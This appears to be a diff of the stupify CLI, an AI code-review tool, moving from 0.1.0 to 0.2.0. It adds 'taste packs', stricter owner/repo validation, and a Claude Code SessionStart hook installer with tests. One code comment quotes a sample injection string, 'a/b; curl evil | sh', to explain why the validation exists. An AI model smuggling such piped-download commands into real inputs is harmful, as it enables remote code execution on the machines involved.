@stupify/cli 0.1.0 → 0.2.0

package/src/cli.ts

@@ -8,18 +8,40 @@
  * `stupify run [--dry]` → run one review sweep right now.
  */
 import { spawnSync } from 'node:child_process'
-import { copyFileSync, existsSync, mkdirSync, writeFileSync } from 'node:fs'
+import { copyFileSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
 import { homedir } from 'node:os'
 import { dirname, join } from 'node:path'
 import { fileURLToPath } from 'node:url'
-import { cancel, confirm, intro, isCancel, log, note, outro, spinner, text } from '@clack/prompts'
+import { cancel, confirm, intro, isCancel, log, multiselect, note, outro, spinner, text } from '@clack/prompts'
 import pc from 'picocolors'
+import { emitPrime } from './prime'
 
 const PKG_DIR = dirname(fileURLToPath(import.meta.url))
+const PKG_ROOT = join(PKG_DIR, '..') // the published package root: holds .review/ and packs/
 const HOME = process.env.STUPIFY_HOME ?? join(homedir(), '.stupify')
 const STATE = join(HOME, 'state')
 const REQUIRED = ['bun', 'gh', 'codex', 'git'] as const
 
+// Taste packs: "code like X". Picking one (or several) seeds the corpus, so you don't start from a blank file.
+interface Pack {
+  id: string
+  label: string
+  kind: 'taste' | 'perf'
+}
+const PACKS: Pack[] = [
+  { id: 'anton-kropp', label: 'Anton Kropp (devshorts) — DI + branded types', kind: 'taste' },
+  { id: 'zod', label: 'Colin McDonnell / Zod — parse, don’t validate', kind: 'taste' },
+  { id: 'sindre-sorhus', label: 'Sindre Sorhus — one file, one job', kind: 'taste' },
+  { id: 'rich-harris', label: 'Rich Harris / Svelte — compiler-grade precision', kind: 'taste' },
+  { id: 'tanner-linsley', label: 'Tanner Linsley / TanStack — types forbid bad states', kind: 'taste' },
+  { id: 'mitchell-hashimoto', label: 'Mitchell Hashimoto / Ghostty — documented tradeoffs', kind: 'taste' },
+  { id: 'simon-willison', label: 'Simon Willison — one concept per file', kind: 'taste' },
+  { id: 'dtolnay', label: 'David Tolnay — the API that disappears (Rust)', kind: 'taste' },
+  { id: 'antirez', label: 'antirez / Redis — comments that earn their keep (C)', kind: 'taste' },
+  { id: 'dhh', label: 'DHH / Rails — controllers that tell the story (Ruby)', kind: 'taste' },
+  { id: 'jarred-sumner', label: 'Jarred Sumner / Bun — perf as correctness', kind: 'perf' },
+]
+
 function bail<T>(value: T | symbol): asserts value is T {
   if (isCancel(value)) {
     cancel('aborted.')
@@ -27,6 +49,11 @@ function bail<T>(value: T | symbol): asserts value is T {
   }
 }
 
+function die(message: string): never {
+  log.error(message)
+  process.exit(1)
+}
+
 function which(bin: string): string | null {
   return Bun.which(bin)
 }
@@ -50,7 +77,14 @@ function detectRepo(): string | null {
     .replace(/^[a-z]+:\/\/[^/]+\//, '')
     .replace(/^git@[^:]+:/, '')
     .replace(/\.git$/, '')
-  return /^[^/]+\/[^/]+$/.test(slug) ? slug : null
+  return validRepo(slug) ? slug : null
+}
+
+// Strict owner/repo — GitHub names are word chars / dot / hyphen only. This is also a security boundary:
+// `repo` is interpolated into a shell setup-script that runs on the VM, so anything looser than this would
+// let `a/b; curl evil | sh` through.
+function validRepo(r: string): boolean {
+  return /^[\w.-]+\/[\w.-]+$/.test(r)
 }
 
 function installCron(opts: { ghHost: string }): string {
@@ -68,7 +102,79 @@ function installCron(opts: { ghHost: string }): string {
   return line
 }
 
-async function setup(argv: { repo?: string; host?: string; yes: boolean }): Promise<void> {
+// The short human label for a set of picked packs, e.g. "Sindre Sorhus + Anton Kropp" — for plan/success notes.
+const tasteLabel = (packs: string[]): string =>
+  PACKS.filter((p) => packs.includes(p.id)).map((p) => p.label.split(' — ')[0]).join(' + ')
+
+// Returns the chosen pack ids. `--pack a,b` (or 'own'/'' = your own codebase) skips the prompt; with --yes and
+// no flag it defaults to the devshorts pack so a fresh repo reviews immediately.
+async function pickPacks(opts: { yes: boolean; packArg?: string }): Promise<string[]> {
+  if (opts.packArg !== undefined) {
+    return opts.packArg.split(',').map((s) => s.trim()).filter((id) => id && id !== 'own' && PACKS.some((p) => p.id === id))
+  }
+  if (opts.yes) return ['anton-kropp']
+  if (!process.stdin.isTTY) return [] // non-interactive (CI, scripts, the install hook): never block on a picker
+  const choice = await multiselect({
+    message: 'Whose code should yours look like? (pick any — or your own)',
+    options: [
+      ...PACKS.map((p) => ({ value: p.id, label: p.label, ...(p.kind === 'perf' ? { hint: 'perf' } : {}) })),
+      { value: 'own', label: '🧠 my own codebase', hint: 'point CORPUS.md at your files yourself' },
+    ],
+    required: false,
+  })
+  bail(choice)
+  return choice.filter((v) => v !== 'own')
+}
+
+// Build ~/.stupify/.review from the bundled rubric/prompt + the chosen packs' corpus. The engine uses this when
+// the target repo has no .review/ of its own — so taste packs work with zero files in your repo.
+function assembleReview(packs: string[]): void {
+  const out = join(HOME, '.review')
+  mkdirSync(out, { recursive: true })
+  copyFileSync(join(PKG_ROOT, '.review', 'RUBRIC.md'), join(out, 'RUBRIC.md'))
+  copyFileSync(join(PKG_ROOT, '.review', 'REVIEW-PROMPT.md'), join(out, 'REVIEW-PROMPT.md'))
+  if (packs.length === 0) {
+    copyFileSync(join(PKG_ROOT, '.review', 'CORPUS.template.md'), join(out, 'CORPUS.md')) // the bring-your-own template
+    return
+  }
+  const header = `# Good-code reference — taste packs\n\nJudge every diff against the standards below. When you flag slop, name the principle (or the linked file) the change should have followed. The links are commit-pinned exemplars — open them when you need detail.\n\n---\n\n`
+  const body = packs.map((id) => readFileSync(join(PKG_ROOT, 'packs', `${id}.md`), 'utf8').trim()).join('\n\n---\n\n')
+  writeFileSync(join(out, 'CORPUS.md'), `${header}${body}\n`)
+}
+
+// `stupify taste [--pack a,b]` — assemble your GLOBAL taste at ~/.stupify/.review from packs, and nothing else.
+// This is the shared core both the reviewer and `stupify prime` read when a repo has no .review/ of its own —
+// so you can set taste once without installing the cron reviewer.
+async function taste(argv: { pack?: string }): Promise<void> {
+  console.clear()
+  intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — pick the code yours should look like'))
+  const packs = await pickPacks({ yes: false, packArg: argv.pack })
+  if (packs.length === 0) {
+    note(
+      [
+        `no packs picked. taste packs seed a global corpus at ${pc.cyan(join(HOME, '.review'))}.`,
+        `for YOUR-OWN-codebase taste, add a ${pc.cyan('.review/')} to a repo instead ${pc.dim('(a repo .review/ always wins)')}.`,
+      ].join('\n'),
+      'nothing to assemble',
+    )
+    outro(pc.dim('run again and pick at least one pack.'))
+    return
+  }
+  assembleReview(packs)
+  const tasteLine = tasteLabel(packs)
+  note(
+    [
+      `assembled ${pc.cyan(join(HOME, '.review'))} against ${pc.bold(tasteLine)}.`,
+      `your global taste — read by the reviewer AND ${pc.cyan('stupify prime')} in any repo without its own .review/.`,
+      ``,
+      `${pc.bold('next:')} ${pc.cyan('stupify prime --install')} ${pc.dim('— prime Claude Code with it every session')}`,
+    ].join('\n'),
+    'taste ready',
+  )
+  outro(pc.green('your taste is set 🎯'))
+}
+
+async function setup(argv: { repo?: string; host?: string; yes: boolean; pack?: string }): Promise<void> {
   console.clear()
   intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — sounds dumb, reviews sharp'))
 
@@ -105,11 +211,12 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
     const answer = await text({
       message: 'GitHub repo to review',
       placeholder: 'owner/repo',
-      validate: (v) => (/^[^/]+\/[^/]+$/.test((v ?? '').trim()) ? undefined : 'expected owner/repo'),
+      validate: (v) => (validRepo((v ?? '').trim()) ? undefined : 'expected owner/repo'),
     })
     bail(answer)
     repo = answer.trim()
   }
+  if (!validRepo(repo)) die(`'${repo}' is not a valid owner/repo`)
 
   // 3. integration host (exe.dev) — can't be detected
   let host = argv.host ?? process.env.GH_HOST ?? ''
@@ -123,10 +230,17 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
     host = answer.trim()
   }
 
+  // 3.5 taste — pick a pack (or your own code)
+  const packs = await pickPacks({ yes: argv.yes, packArg: argv.pack })
+  const tasteLine = packs.length
+    ? tasteLabel(packs)
+    : 'your own codebase'
+
   // 4. plan + confirm
   note(
     [
       `${pc.dim('repo  ')} ${pc.bold(repo)}`,
+      `${pc.dim('taste ')} ${pc.bold(tasteLine)}`,
       host
         ? `${pc.dim('auth  ')} exe.dev integration ${pc.bold(host)} ${pc.dim('— exe-llm gateway, no keys')}`
         : `${pc.dim('auth  ')} your own gh + codex ${pc.dim('(run `gh auth login` first)')}`,
@@ -149,6 +263,7 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
   s2.start('installing')
   mkdirSync(STATE, { recursive: true })
   copyFileSync(join(PKG_DIR, 'review-sweep.ts'), join(HOME, 'review-sweep.ts'))
+  assembleReview(packs)
   const cfg = [`REPO_SLUG=${repo}`, host ? `GH_HOST=${host}` : '', '# tune anything else here — see the README']
     .filter(Boolean)
     .join('\n')
@@ -156,18 +271,139 @@ async function setup(argv: { repo?: string; host?: string; yes: boolean }): Prom
   installCron({ ghHost: host })
   s2.stop(pc.green('installed') + pc.dim(` → ${HOME}`))
 
-  // 6. success + the two steps to a first review
+  // 6. success
+  const preview = `${pc.dim('preview anytime:')} ${pc.cyan(`DRY_RUN=1 bun ${join(HOME, 'review-sweep.ts')}`)}`
+  if (packs.length) {
+    note(
+      [
+        `reviewing ${pc.bold(repo)} against ${pc.bold(tasteLine)}.`,
+        `open a PR (or push to one) → stupify reviews it in ~60s. ${pc.dim('no labels, no setup.')}`,
+        ``,
+        `want your OWN taste instead? add a ${pc.cyan('.review/')} to ${pc.bold(repo)} — it overrides the pack.`,
+        preview,
+      ].join('\n'),
+      "you're set",
+    )
+  } else {
+    note(
+      [
+        `${pc.bold('1.')} add a ${pc.cyan('.review/')} to ${pc.bold(repo)} and point ${pc.cyan('CORPUS.md')} at YOUR best files`,
+        `${pc.bold('2.')} open a PR → stupify reviews it in ~60s ${pc.dim('(no labels needed)')}`,
+        ``,
+        preview,
+      ].join('\n'),
+      'two steps to your first review',
+    )
+  }
+  outro(pc.green('stupify is watching ') + pc.bold(repo) + pc.green(' 👀'))
+}
+
+// --- prime: wire `stupify prime` into Claude Code as a SessionStart hook (self-contained, install ⇄ uninstall) ---
+// The hook EMITTER lives in the dependency-free ./prime module (also copied to ~/.stupify/prime.ts on install,
+// so the hook runs with no global install / node_modules). Everything below only manages the wiring.
+
+const PRIME_ENGINE = join(HOME, 'prime.ts') // the dep-free copy the hook actually runs; also our marker in settings.json
+
+/** Claude Code's user settings file. CLAUDE_CONFIG_DIR overrides ~/.claude (and makes this testable). */
+const claudeSettingsPath = (): string => join(process.env.CLAUDE_CONFIG_DIR ?? join(homedir(), '.claude'), 'settings.json')
+
+/** Read settings.json (or {} if absent). Throws on malformed JSON so callers refuse to clobber a broken file. */
+function readSettings(path: string): Record<string, unknown> {
+  if (!existsSync(path)) return {}
+  return JSON.parse(readFileSync(path, 'utf8')) as Record<string, unknown>
+}
+
+type HookEntry = { matcher?: string; hooks?: { type?: string; command?: string }[] }
+const isOurHook = (e: HookEntry): boolean => (e.hooks ?? []).some((h) => (h.command ?? '').includes(PRIME_ENGINE))
+
+async function installPrimeHook(argv: { pack?: string }): Promise<void> {
+  console.clear()
+  intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — prime Claude Code with your taste'))
+
+  // 0. ensure GLOBAL taste exists for the hook to inject. The hook runs in EVERY repo; a repo's own .review/
+  //    wins, but ~/.stupify/.review is the fallback, so without it the hook would no-op everywhere. Assemble it
+  //    here (explicit --pack always (re)assembles; otherwise pick only when none exists) so install just works.
+  const haveHomeTaste = existsSync(join(HOME, '.review', 'RUBRIC.md')) && existsSync(join(HOME, '.review', 'CORPUS.md'))
+  if (argv.pack !== undefined || !haveHomeTaste) {
+    const packs = await pickPacks({ yes: false, packArg: argv.pack })
+    if (packs.length > 0) {
+      assembleReview(packs)
+      const tasteLine = tasteLabel(packs)
+      log.success(`global taste assembled → ${pc.cyan(join(HOME, '.review'))} ${pc.dim(`(${tasteLine})`)}`)
+    } else if (!haveHomeTaste) {
+      log.warn(`no global taste yet — the hook will no-op until a repo has its own ${pc.cyan('.review/')} or you run ${pc.cyan('stupify taste')}`)
+    }
+  }
+
+  // 1. drop the dep-free emitter where the hook can run it fast, no global install needed
+  mkdirSync(HOME, { recursive: true })
+  copyFileSync(join(PKG_DIR, 'prime.ts'), PRIME_ENGINE)
+  const command = `${stableBun()} ${PRIME_ENGINE}`
+
+  // 2. merge our SessionStart hook into settings.json — never clobber existing hooks/settings, never duplicate
+  const path = claudeSettingsPath()
+  let settings: Record<string, unknown>
+  try {
+    settings = readSettings(path)
+  } catch {
+    die(`couldn't parse ${path} — fix or remove it, then retry (left it untouched)`)
+  }
+  const hooks = (settings.hooks ??= {}) as Record<string, HookEntry[]>
+  const sessionStart = (hooks.SessionStart ??= [])
+  const existing = sessionStart.find(isOurHook)
+  // Refresh the command on re-install too — `command` carries the resolved bun path, which can move (a new bun
+  // install, a Homebrew relocation). Updating only the engine file but leaving a stale path would silently break.
+  if (existing) existing.hooks = [{ type: 'command', command }]
+  else sessionStart.push({ matcher: 'startup', hooks: [{ type: 'command', command }] })
+  const already = existing !== undefined
+  mkdirSync(dirname(path), { recursive: true })
+  writeFileSync(path, `${JSON.stringify(settings, null, 2)}\n`)
+
   note(
     [
-      `${pc.bold('1.')} give it your taste — add a ${pc.cyan('.review/')} dir to ${pc.bold(repo)}`,
-      `   (copy this repo's ${pc.cyan('.review/')} and point ${pc.cyan('CORPUS.md')} at YOUR best files)`,
-      `${pc.bold('2.')} label any open PR ${pc.cyan('codex-review')} ${pc.dim('(or add .github/workflows/autolabel.yml)')}`,
+      already
+        ? `already wired in ${pc.cyan(path)} ${pc.dim('(refreshed engine + command)')}`
+        : `added a ${pc.bold('SessionStart')} hook to ${pc.cyan(path)}`,
+      `every new Claude Code session now opens primed with your taste ${pc.dim('(~30ms, no-op if a repo has none)')}.`,
       ``,
-      `${pc.dim('→ a review lands within ~60s. preview anytime:')} ${pc.cyan(`DRY_RUN=1 bun ${join(HOME, 'review-sweep.ts')}`)}`,
+      `${pc.dim('undo:')} ${pc.cyan('stupify prime --uninstall')}`,
     ].join('\n'),
-    'two steps to your first review',
+    "you're primed",
   )
-  outro(pc.green('stupify is watching ') + pc.bold(repo) + pc.green(' 👀'))
+  outro(pc.green('Claude Code will write to your taste from the first line 🧠'))
+}
+
+function uninstallPrimeHook(): void {
+  console.clear()
+  intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — remove the Claude Code prime hook'))
+  const path = claudeSettingsPath()
+  let removed = false
+  if (existsSync(path)) {
+    let settings: Record<string, unknown>
+    try {
+      settings = readSettings(path)
+    } catch {
+      die(`couldn't parse ${path} — fix or remove it, then retry (left it untouched)`)
+    }
+    const hooks = settings.hooks as Record<string, HookEntry[]> | undefined
+    if (hooks?.SessionStart) {
+      const kept = hooks.SessionStart.filter((e) => !isOurHook(e))
+      removed = kept.length !== hooks.SessionStart.length
+      if (kept.length > 0) hooks.SessionStart = kept
+      else delete hooks.SessionStart
+      if (Object.keys(hooks).length === 0) delete settings.hooks
+      writeFileSync(path, `${JSON.stringify(settings, null, 2)}\n`)
+    }
+  }
+  rmSync(PRIME_ENGINE, { force: true }) // drop the copied engine too
+
+  note(
+    removed
+      ? `removed the SessionStart hook from ${pc.cyan(path)}. your other hooks + settings are untouched.`
+      : `no stupify prime hook found ${pc.dim('(nothing to remove)')}.`,
+    'done',
+  )
+  outro(pc.green('unprimed.'))
 }
 
 function run(dry: boolean): void {
@@ -205,7 +441,7 @@ function githubIntegrationFor(repo: string): string | null {
 
 const vmNameFor = (repo: string): string => 'stupify-' + repo.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-|-$/g, '')
 
-async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
+async function provision(argv: { repo?: string; yes: boolean; pack?: string }): Promise<void> {
   console.clear()
   intro(pc.bgMagenta(pc.black(' stupify ')) + pc.dim(' — provision a reviewer on exe.dev'))
 
@@ -237,11 +473,15 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
     const answer = await text({
       message: 'GitHub repo to review',
       placeholder: 'owner/repo',
-      validate: (v) => (/^[^/]+\/[^/]+$/.test((v ?? '').trim()) ? undefined : 'expected owner/repo'),
+      validate: (v) => (validRepo((v ?? '').trim()) ? undefined : 'expected owner/repo'),
     })
     bail(answer)
     repo = answer.trim()
   }
+  if (!validRepo(repo)) die(`'${repo}' is not a valid owner/repo`)
+
+  // 2.5 taste — pick a pack (or your own code); the VM installs it on first boot
+  const packs = await pickPacks({ yes: argv.yes, packArg: argv.pack })
 
   // 3. GitHub integration — reuse an existing one, else create it (needs your GitHub linked once, on the web)
   const s2 = spinner()
@@ -262,13 +502,17 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
     }
   }
   const host = `${integration}.int.exe.xyz`
+  const tasteLine = packs.length
+    ? tasteLabel(packs)
+    : 'your own codebase'
 
   // 4. plan + confirm
   note(
     [
-      `${pc.dim('repo')}  ${pc.bold(repo)}`,
-      `${pc.dim('vm  ')}  a small always-on exe.dev VM on your account`,
-      `${pc.dim('auth')}  integration ${pc.bold(integration)} ${pc.dim('— no keys, no tokens')}`,
+      `${pc.dim('repo ')}  ${pc.bold(repo)}`,
+      `${pc.dim('taste')}  ${pc.bold(tasteLine)}`,
+      `${pc.dim('vm   ')}  a small always-on exe.dev VM on your account`,
+      `${pc.dim('auth ')}  integration ${pc.bold(integration)} ${pc.dim('— no keys, no tokens')}`,
     ].join('\n'),
     'plan',
   )
@@ -289,7 +533,7 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
     'export PATH="$HOME/.bun/bin:/usr/local/bin:$PATH"',
     'command -v bun >/dev/null 2>&1 || curl -fsSL https://bun.sh/install | bash',
     'export PATH="$HOME/.bun/bin:$PATH"',
-    `exec bunx github:Octember/stupif.ai setup ${repo} --host ${host} --yes`,
+    `exec bunx github:Octember/stupify setup ${repo} --host ${host} --pack ${packs.join(',') || 'own'} --yes`,
   ].join('\n')
   const created = exe(['new', '--name', vm, '--integration', integration, '--json', '--setup-script', '/dev/stdin'], script)
   if (!created.ok) {
@@ -306,12 +550,22 @@ async function provision(argv: { repo?: string; yes: boolean }): Promise<void> {
   s3.stop(pc.green(`VM ${pc.bold(vm)} created`) + pc.dim(` (${dest})`))
 
   // 6. success
+  const firstReview = packs.length
+    ? [
+        `reviewing ${pc.bold(repo)} against ${pc.bold(tasteLine)}.`,
+        `open a PR (or push to one) → stupify reviews it in ~60s. ${pc.dim('no labels, no setup.')}`,
+        ``,
+        `want your OWN taste? add a ${pc.cyan('.review/')} to ${pc.bold(repo)} — it overrides the pack.`,
+      ]
+    : [
+        `${pc.bold('1.')} add a ${pc.cyan('.review/')} dir to ${pc.bold(repo)} — copy this repo's .review/, point CORPUS.md at YOUR best files`,
+        `${pc.bold('2.')} open a PR → stupify reviews it in ~60s ${pc.dim('(no labels needed)')}`,
+      ]
   note(
     [
       `${pc.bold(vm)} is booting and installing stupify ${pc.dim('(~15s)')}.`,
       ``,
-      `${pc.bold('1.')} add a ${pc.cyan('.review/')} dir to ${pc.bold(repo)} — copy this repo's .review/, point CORPUS.md at YOUR best files`,
-      `${pc.bold('2.')} label any open PR ${pc.cyan('codex-review')} ${pc.dim('(or add .github/workflows/autolabel.yml)')}`,
+      ...firstReview,
       ``,
       `${pc.dim('watch:')} ${pc.cyan(`ssh ${dest} 'tail -f ~/.stupify/state/sweep.log'`)}`,
       `${pc.dim('stop: ')} ${pc.cyan(`ssh exe.dev rm ${vm}`)}`,
@@ -329,10 +583,14 @@ ${pc.dim('Usage')} ${pc.dim('(run from your laptop)')}
   stupify <owner/repo>    provision for a specific repo
   stupify setup [repo]    install on THIS machine instead of provisioning a VM
   stupify run [--dry]     run one review sweep now (where stupify is installed)
+  stupify taste [--pack a,b]  pick the code yours should look like (assembles ~/.stupify/.review)
+  stupify prime --install     prime Claude Code with your taste every session (adds a SessionStart hook)
+  stupify prime --uninstall   remove that hook
   stupify --help
 
 ${pc.dim('Flags')}
   --host <h.int.exe.xyz>  integration host (for 'setup')
+  --pack <a,b,...>        taste packs to review against (e.g. anton-kropp,zod); 'own' = bring your own .review/
   --yes, -y               accept detected defaults, no prompts (for CI / scripts)
 
 ${pc.dim("Provisioning rides exe.dev — onboard once with 'ssh exe.dev', then one command does the rest.")} https://stupif.ai`)
@@ -341,18 +599,28 @@ ${pc.dim("Provisioning rides exe.dev — onboard once with 'ssh exe.dev', then o
 // --- routing ---
 const args = process.argv.slice(2)
 const yes = args.includes('--yes') || args.includes('-y')
-const hostIdx = args.indexOf('--host')
-const host = hostIdx >= 0 ? args[hostIdx + 1] : undefined
-const positional = args.filter((a, i) => !a.startsWith('-') && args[i - 1] !== '--host')
+const valueFlag = (name: string) => {
+  const i = args.indexOf(name)
+  return i >= 0 ? args[i + 1] : undefined
+}
+const host = valueFlag('--host')
+const pack = valueFlag('--pack')
+const positional = args.filter((a, i) => !a.startsWith('-') && args[i - 1] !== '--host' && args[i - 1] !== '--pack')
 const cmd = positional[0]
 
 if (args.includes('-h') || args.includes('--help')) {
   help()
+} else if (cmd === 'taste') {
+  await taste({ pack })
+} else if (cmd === 'prime') {
+  if (args.includes('--install')) await installPrimeHook({ pack })
+  else if (args.includes('--uninstall')) uninstallPrimeHook()
+  else emitPrime() // bare `prime`: machine-called by the SessionStart hook — prints only the JSON payload
 } else if (cmd === 'run') {
   run(args.includes('--dry'))
 } else if (cmd === 'setup') {
-  await setup({ repo: positional[1], host, yes })
+  await setup({ repo: positional[1], host, yes, pack })
 } else {
   // default (and explicit `provision`): provision an exe.dev VM
-  await provision({ repo: cmd === 'provision' ? positional[1] : cmd, yes })
+  await provision({ repo: cmd === 'provision' ? positional[1] : cmd, yes, pack })
 }

package/src/prime-install.test.ts

@@ -0,0 +1,109 @@
+// Guards the hook installer's contract — it writes to the user's Claude Code settings.json, so the invariants
+// that matter are: MERGE (never clobber other hooks/keys), IDEMPOTENT (no duplicate), SURGICAL uninstall
+// (remove only ours), and REFUSE malformed JSON. Driven through the real CLI subprocess against throwaway
+// STUPIFY_HOME + CLAUDE_CONFIG_DIR dirs, so the real ~/.claude is never touched.
+import { expect, test } from 'bun:test'
+import { spawnSync } from 'node:child_process'
+import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+
+const CLI = join(import.meta.dir, 'cli.ts')
+
+function env() {
+  const home = mkdtempSync(join(tmpdir(), 'stupify-home-'))
+  const cfg = mkdtempSync(join(tmpdir(), 'stupify-cc-'))
+  return { home, cfg, settings: join(cfg, 'settings.json') }
+}
+const run = (sub: string[], e: { home: string; cfg: string }) =>
+  spawnSync('bun', [CLI, ...sub], { env: { ...process.env, STUPIFY_HOME: e.home, CLAUDE_CONFIG_DIR: e.cfg }, encoding: 'utf8' })
+const read = (p: string) => JSON.parse(readFileSync(p, 'utf8'))
+const seeded = JSON.stringify({ theme: 'dark', hooks: { PostToolUse: [{ matcher: 'Edit', hooks: [{ type: 'command', command: 'echo keep' }] }] } })
+
+test('--install merges into existing settings without clobbering, and is idempotent', () => {
+  const e = env()
+  writeFileSync(e.settings, seeded)
+  run(['prime', '--install'], e)
+  let s = read(e.settings)
+  expect(s.theme).toBe('dark') // unrelated key survives
+  expect(s.hooks.PostToolUse[0].hooks[0].command).toBe('echo keep') // unrelated hook survives
+  expect(s.hooks.SessionStart[0].matcher).toBe('startup')
+  expect(s.hooks.SessionStart[0].hooks[0].command).toContain('prime.ts') // points at the copied dep-free engine
+  expect(existsSync(join(e.home, 'prime.ts'))).toBe(true) // engine copied
+
+  run(['prime', '--install'], e) // again
+  s = read(e.settings)
+  expect(s.hooks.SessionStart).toHaveLength(1) // no duplicate
+  rmSync(e.home, { recursive: true, force: true })
+  rmSync(e.cfg, { recursive: true, force: true })
+})
+
+test('--uninstall removes only our hook + engine, preserving everything else', () => {
+  const e = env()
+  writeFileSync(e.settings, seeded)
+  run(['prime', '--install'], e)
+  run(['prime', '--uninstall'], e)
+  const s = read(e.settings)
+  expect(s.theme).toBe('dark')
+  expect(s.hooks.PostToolUse[0].hooks[0].command).toBe('echo keep')
+  expect(s.hooks.SessionStart).toBeUndefined() // ours gone; empty array collapsed
+  expect(existsSync(join(e.home, 'prime.ts'))).toBe(false) // engine removed
+  rmSync(e.home, { recursive: true, force: true })
+  rmSync(e.cfg, { recursive: true, force: true })
+})
+
+test('--install refuses to clobber a malformed settings.json', () => {
+  const e = env()
+  writeFileSync(e.settings, 'NOT JSON {')
+  const r = run(['prime', '--install'], e)
+  expect(readFileSync(e.settings, 'utf8')).toContain('NOT JSON') // left untouched
+  expect(r.status).not.toBe(0) // died non-zero rather than overwrite
+  rmSync(e.home, { recursive: true, force: true })
+  rmSync(e.cfg, { recursive: true, force: true })
+})
+
+test('--uninstall on a machine with no settings.json is a clean no-op', () => {
+  const e = env()
+  const r = run(['prime', '--uninstall'], e)
+  expect(r.status).toBe(0)
+  expect(existsSync(e.settings)).toBe(false)
+  rmSync(e.home, { recursive: true, force: true })
+  rmSync(e.cfg, { recursive: true, force: true })
+})
+
+test('taste --pack assembles ~/.stupify/.review and nothing else (no reviewer leaks in)', () => {
+  const e = env()
+  run(['taste', '--pack', 'anton-kropp,zod'], e)
+  expect(readFileSync(join(e.home, '.review', 'CORPUS.md'), 'utf8')).toContain('Anton Kropp') // packs assembled
+  expect(existsSync(join(e.home, 'config.env'))).toBe(false) // no reviewer config
+  expect(existsSync(join(e.home, 'review-sweep.ts'))).toBe(false) // no reviewer engine
+  rmSync(e.home, { recursive: true, force: true })
+  rmSync(e.cfg, { recursive: true, force: true })
+})
+
+test('--install refreshes a stale command on re-install (not just the engine file)', () => {
+  const e = env()
+  run(['prime', '--install', '--pack', 'zod'], e)
+  // simulate bun having moved since first install: rewrite the stored command to a stale path
+  // (keep the engine path so the entry is still recognized as ours)
+  const s = read(e.settings)
+  s.hooks.SessionStart[0].hooks[0].command = `/old/stale/bun ${join(e.home, 'prime.ts')}`
+  writeFileSync(e.settings, JSON.stringify(s))
+  run(['prime', '--install', '--pack', 'zod'], e)
+  const after = read(e.settings)
+  expect(after.hooks.SessionStart).toHaveLength(1) // still no duplicate
+  expect(after.hooks.SessionStart[0].hooks[0].command).not.toContain('/old/stale/bun') // stale path corrected
+  expect(after.hooks.SessionStart[0].hooks[0].command).toContain('prime.ts')
+  rmSync(e.home, { recursive: true, force: true })
+  rmSync(e.cfg, { recursive: true, force: true })
+})
+
+test('prime --install --pack assembles taste AND wires the hook in one step', () => {
+  const e = env()
+  run(['prime', '--install', '--pack', 'zod'], e)
+  expect(readFileSync(join(e.home, '.review', 'CORPUS.md'), 'utf8')).toContain('zod') // taste assembled
+  const s = read(e.settings)
+  expect(s.hooks.SessionStart[0].hooks[0].command).toContain('prime.ts') // and hook wired
+  rmSync(e.home, { recursive: true, force: true })
+  rmSync(e.cfg, { recursive: true, force: true })
+})

package/src/prime.ts

@@ -0,0 +1,50 @@
+#!/usr/bin/env bun
+/**
+ * stupify prime — emit the pre-decided taste (rubric + corpus index) as a Claude Code SessionStart hook
+ * payload, so a coding session opens already holding your standard instead of only catching slop in review.
+ *
+ * Dependency-free (node builtins only) ON PURPOSE: `stupify prime --install` drops a copy of THIS file at
+ * ~/.stupify/prime.ts and points the hook at it, so the hook runs fast with no global install and no
+ * node_modules. Pure file read — no model, no network. It must NEVER break session start: any miss or error
+ * emits nothing and exits 0. stdout is ONLY the JSON payload (a stray byte makes Claude Code drop it).
+ */
+import { existsSync, readFileSync } from 'node:fs'
+import { homedir } from 'node:os'
+import { join } from 'node:path'
+
+const HOME = process.env.STUPIFY_HOME ?? join(homedir(), '.stupify')
+
+/** Resolve taste like the reviewer does (the repo you're coding in wins, else the pack taste setup assembled)
+ *  and build the SessionStart payload. Returns null when no taste is set up — caller emits nothing. */
+export function primePayload(cwd: string = process.cwd(), home: string = HOME): string | null {
+  const dir = [join(cwd, '.review'), join(home, '.review')].find(
+    (d) => existsSync(join(d, 'RUBRIC.md')) && existsSync(join(d, 'CORPUS.md')),
+  )
+  if (dir === undefined) return null
+  const rubric = readFileSync(join(dir, 'RUBRIC.md'), 'utf8').trim()
+  const corpus = readFileSync(join(dir, 'CORPUS.md'), 'utf8').trim()
+  const additionalContext = `# Your taste, loaded by stupify — write to this standard
+
+You're about to write or change code in this repo. Hold every edit to the standard below BEFORE you write it —
+it's the same taste stupify reviews against, so matching it now is a clean review later.
+
+## What counts as slop here — don't ship it (RUBRIC)
+${rubric}
+
+## The code yours should look like (CORPUS)
+The links are commit-pinned exemplars — open one only if a finding needs the detail; never paste them in wholesale.
+${corpus}`
+  return JSON.stringify({ hookSpecificOutput: { hookEventName: 'SessionStart', additionalContext } })
+}
+
+/** Write the payload to stdout, or nothing. Swallows every error: a hook must never disrupt session start. */
+export function emitPrime(): void {
+  try {
+    const payload = primePayload()
+    if (payload !== null) process.stdout.write(payload)
+  } catch {
+    /* never break session start */
+  }
+}
+
+if (import.meta.main) emitPrime() // run directly (the installed hook calls `bun ~/.stupify/prime.ts`)